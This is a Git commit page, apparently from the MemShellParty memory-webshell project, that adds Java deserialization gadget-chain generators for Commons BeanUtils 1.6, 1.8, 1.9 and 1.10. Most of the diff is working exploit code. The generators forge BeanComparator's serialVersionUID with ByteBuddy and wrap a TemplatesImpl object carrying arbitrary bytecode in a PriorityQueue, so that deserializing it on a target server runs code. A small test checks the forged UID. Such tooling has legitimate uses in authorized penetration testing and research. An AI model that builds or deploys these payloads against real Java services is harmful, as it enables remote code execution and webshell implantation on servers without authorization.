archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 23:11:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support cb4 other version payload packers

Browse Source
This commit is contained in:
ReaJason
2025-02-19 00:04:29 +08:00
parent d9c3bcb5dd
commit e71f980991
44 changed files with 661 additions and 383 deletions
Download Patch File Download Diff File Expand all files Collapse all files
deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java
+7 -2
View File
@@ -1,6 +1,6 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.*;
import lombok.Getter;
/**
@@ -12,7 +12,12 @@ public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils19(new CommonsBeanutils19());
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
;
private final Payload payload;
deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java
+44
View File
@@ -0,0 +1,44 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils110 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.field(named("serialVersionUID"))
.value(1L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils16.java
+43
View File
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils16 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(2573799559215537819L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18.java
+44
View File
@@ -0,0 +1,44 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils18 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings("unchecked")
public Object generate(byte[] bytes) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-3490850999041592962L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java
+17 -3
View File
@@ -4,8 +4,16 @@ import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
@@ -16,12 +24,18 @@ public class CommonsBeanutils19 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object obj = TemplateUtils.createTemplatesImpl(bytes);
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(bytes);
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java
+6
View File
@@ -41,4 +41,10 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java
+34
View File
@@ -0,0 +1,34 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.junit.jupiter.api.Test;
import java.net.URL;
import java.net.URLClassLoader;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/2/17
*/
class CommonsBeanutils18Test {
@Test
@SneakyThrows
void test() {
Object object = new ByteBuddy()
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L)
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
}
}